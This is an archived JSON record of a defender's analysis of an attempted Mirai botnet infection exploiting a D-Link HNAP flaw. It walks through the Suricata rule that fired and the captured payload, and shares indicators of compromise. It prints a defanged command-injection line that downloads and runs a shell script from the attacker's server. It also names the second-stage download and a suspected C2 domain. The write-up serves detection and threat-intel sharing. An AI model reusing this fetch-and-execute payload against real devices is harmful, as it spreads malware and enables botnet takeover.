{
	"id": "95507515-5756-49b4-b8af-e3b6508cc775",
	"created_at": "2026-04-06T00:16:21.611722Z",
	"updated_at": "2026-04-10T13:13:01.101897Z",
	"deleted_at": null,
	"sha1_hash": "5031f2b6219a304e272d14701aa1dea59fe9d7c5",
	"title": "Anatomy of An Mirai Botnet Attack",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1148646,
	"plain_text": "Anatomy of An Mirai Botnet Attack\r\nPublished: 2022-03-20 · Archived: 2026-04-06 00:04:14 UTC\r\nAttempted Mirai Infection and Analysis\r\nThe Attack\r\nThis began with a \"drive by\" infection attempt aiming to exploit a D-Link Router vulnerability CVE-2020-\r\n15631. Thank fully this bot attack didn't find a D-Link Router and instead found a fully patched web\r\nserver. The attack failed. Breaking the initial vulnerability and exploit attempt down is beyond the scope of\r\nthis project but I will give a brief overview.\r\nThis website has some great analysis on this vulnerability:\r\nhttps://musteresel.github.io/posts/2018/03/exploit-hnap-security-flaw-dlink-dir-615.html\r\nSuricata Alert\r\nThe Rule that fired was the following:\r\n alert http $EXTERNAL_NET any -\u003e $HOME_NET any (msg:\"ET WEB_SERVER Possible D-Link Router HNAP Protocol Secur\r\nLets break this Suricata signature down.\r\n1. The rule is an \"alert\" rule looking at http traffic from any port inbound from the variable\r\nEXTERNAL_NET to the networks assigned to the variable HOME_NET on any port. This is\r\nfollowed by the message as denoted by \"msg\" which basically tells us what the alert is firing for.\r\n2. The flow is set to established which means it will only match on established connections. Direction\r\nis \"to server.\"\r\n3. We see the \"urilen\" which sets a uri length of 7 characters.\r\n4. We then see a sticky buffer of \"http.method\" which modifies the content \"POST\" which come after\r\nit. That is telling the logic to look in the http.method field for content of \"POST.\" If the http.method\r\nfield has a GET or any method other then POST, the logic won't continue to run and the rule won't\r\nfire.\r\n5. We then see another sticky buffer of \"http.uri.\" Again, this is giving a field for which to look for the\r\ncontent that follows it. In this case its saying look in the \"http.uri\" field for the content \"/HNAP1/\".\r\nYou will notice that their is 7 characters in \"/HNAP1/\"\r\n6. We see \"nocase\" which sounds exactly what it does - makes it not case sensitive.\r\n7. Next is endswith, which according to the suricata manual it \"modifies the content to match exactly\r\nat the end of a buffer.\"\r\n8. \"fast pattern\" is fairly complicated and takes some time to explain. I suggest consorting with the\r\nsuricata manual if you are interested in what this does.\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 1 of 7\n\n9. We then see \"http.header\" sticky buffer which says \" look at the http.header for the following\r\ncontent \"SOAPAction|3a 20|\"\r\nnotice the |3a 20| . If you put that in cyber chef and decode from hex to ASCII you will\r\nnotice it translates to the character \":\" this is a special character and must be translate to hex\r\nin the rule or it will mess up the logic. This is trying to look for \"SOAPaction:\"\r\n10. We see another content which again is modified by the preceding http.header sticky buffer. This\r\ncontent is looking for \"/HNAP1/.\r\n11. \"distance: 0\" is telling the logic to look for the preceding content of /HNAP1/ 0 bits away from the\r\ncontent before /HNAP1/ which in this case is SOAPaction:\r\nthe Suricata manual has a great picture that explains this concept\r\n12. We then see some pcre regex essentially looking for either \"set\" or \"get\" not dependent on case.\r\npcre:\"/^(?:set|get)/Ri\"\r\n13. Right after the PCRE we see another content match looking for \"DeviceSettings\" This is followed by a\r\ndistance modifier of \"within: 14. This is best explained with another picture\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 2 of 7\n\n14. That's it for the logic of the rule. Following the logic we have some reference links, the classtype(which\r\nsignifies which kind of attack it is), Signature ID(SID), the revision number, and some metadata which tells\r\nus when it was created or modified.\r\nThe Traffic The Rule Fired For\r\nAs we can see we have a POST as the HTTP Method\r\nWe have /HNAP1/ as the URI\r\nWe have an HTTP header of SOAPaction: with /HNAP1/ in the header.\r\nImmediately following /HNAP1/ we have \"Get\" which the regex will match on and then \"DeviceSettings\"\r\nFollowing DeviceSettings we have the contents of the exploit payload which can change depending on\r\nwhat the threat actor is going to do.\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 3 of 7\n\nThe Initial Exploit\r\nDefanged!\r\ncd \u0026\u0026 cd tmp \u0026\u0026 export PATH=$PATH:. \u0026\u0026 cd /tmp;wget http://23.94.22[.]13/a/wget.sh;chmod 777 wget.sh;sh wget.sh\r\nThis looks like a rather simple command injection.\r\nIt does a CD (change directory) and if that executes with no errors it changes directory to the tmp directory.\r\nThen adds the current path to the PATH variable\r\nWe see a CD to the /tmp directory where it then uses the wget tool to pull down a script titled \"wget.sh\"\r\nfrom http://23[.]94.22[.]13/a/wget.sh\r\nIt then changed the permissions on the wget.sh script to 777 or rwxrwxrwx\r\nWe then see it use sh to execute wget.sh and it follows it all up by deleting itself.\r\nWhat's in wget.sh?\r\nTo find this out we need to fire up a VM (behind a VPN) and wget this wget.sh script from the attacker\r\nwebserver.\r\nTo that end we can just run the same command (defanged of course)\r\nBe careful from here on out. The ELF we eventually will grab can infect linux machines. Only do\r\nthis on a machine you can blow up and walk away from or reset.\r\nwget http://23.94.22[.]13/a/wget.sh\r\nOnce we have wget.sh we can 'cat' the contents.\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 4 of 7\n\nGnarly. What's this thing trying to do? It's rather simple. It's using wget to pull down the secondary\r\npayload, changing the permissions on it and executing it. It doesn't know the operating CPU so its trying\r\nfrom ARM to x86_64. It tries to install them all.\r\nWhat's the secondary payload?\r\nLets find out by utilizing wget to pull it down\r\nwget http://23.94.22[.]13/x86_64\r\nAfter we got that payload we can do a few things.\r\nWe can start of by running the command \"file\" to get some details\r\nThen lets run the \"strings\" command and see what we can find\r\nIf we look through all the strings we can see bots.infectedfam[.]cc This looks like potentially C2\r\ndomain. We should check that out later.\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 5 of 7\n\nFollow Up Analysis\r\nAt this point, We've collected a handful of IoC's. We have IP addresses(both from the original attack and\r\nthe ones contained in the exploits). We have a domain. We also have some pretty unique strings we may be\r\nable to write a YARA rule with down the road.\r\nLets investigate that domain.\r\nJust days old. Also proxied through Cloudflare. - Smart. Don't exactly want to block Cloudflare IP.\r\nCan still block that domain though!\r\nNext we can share this intel with the community by submitting our IoC's as a pulse on AlienVault OTX.\r\nI've done so. First Pulse for this domain!\r\nhttps://otx.alienvault.com/pulse/6215c927cbce007580b75c5e\r\nI also submitted that ELF to Joes Sandbox for further analysis. You can find the report here:\r\nhttps://www.joesandbox.com/analysis/576941/0/html\r\nWhat I'll be doing now.\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 6 of 7\n\nGHIDRA - I'm no programmer or reverse engineer but I'd like to get an even deeper understanding of how\r\nthis Mirai flavor is working.\r\nYara rules for detection.\r\nUPDATE\r\nYara rules can be found Here\r\nSource: https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-B\r\notnet-Attack\r\nhttps://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack"
	],
	"report_names": [
		"Anatomy-of-An-Mirai-Botnet-Attack"
	],
	"threat_actors": [],
	"ts_created_at": 1775434581,
	"ts_updated_at": 1775826781,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/5031f2b6219a304e272d14701aa1dea59fe9d7c5.pdf",
		"text": "https://archive.orkl.eu/5031f2b6219a304e272d14701aa1dea59fe9d7c5.txt",
		"img": "https://archive.orkl.eu/5031f2b6219a304e272d14701aa1dea59fe9d7c5.jpg"
	}
}